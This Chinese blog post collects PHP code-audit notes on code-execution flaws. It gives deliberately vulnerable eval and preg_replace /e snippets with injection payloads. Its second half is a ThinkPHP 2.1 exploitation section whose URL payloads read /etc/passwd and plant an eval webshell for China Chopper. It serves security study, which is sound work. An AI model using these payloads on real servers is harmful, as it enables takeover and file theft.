PHP代码审计笔记--代码执行漏洞

483 阅读1分钟

 漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。

常见代码注射函数:

  如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数  

  详见http://www.cnblogs.com/xiaozi/p/7834367.html 

漏洞危害:执行代码,写入webshell、控制服务器

代码示例一:

<?php 
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>

代码示例二:

<?php 
//?cmd=${phpinfo()} 
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>

php 代码可以这样在双引号中被执行

代码示例三:

<?php 
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>

代码示例四:preg_replace函数

<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>

 

参考:

慎用preg_replace危险的/e修饰符(一句话后门常用)

www.jb51.net/article/387…

 

 

Thinkphp框架任意代码执行漏洞利用

# 一般找CMS相应版本漏洞,如ThinkPHP2.1 * 一句话

www.xxx.com/News/detail…}} * 得到当前路径

www.xxx.com/News/detail…)}} * 读文件

www.xxx.com/News/detail…}} POST的数据为:f=/etc/passwd * 写shell www.xxx.com/News/detail…}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>

 

直接执行一句话代码,然后用菜刀直接连接

http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s

 

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考文章:

代码执行漏洞  www.jianshu.com/p/3f0cf18ad…

PHP漏洞全解(详细介绍) www.jb51.net/article/318…

PHP代码执行漏洞总结   blog.csdn.net/kuangmang/a…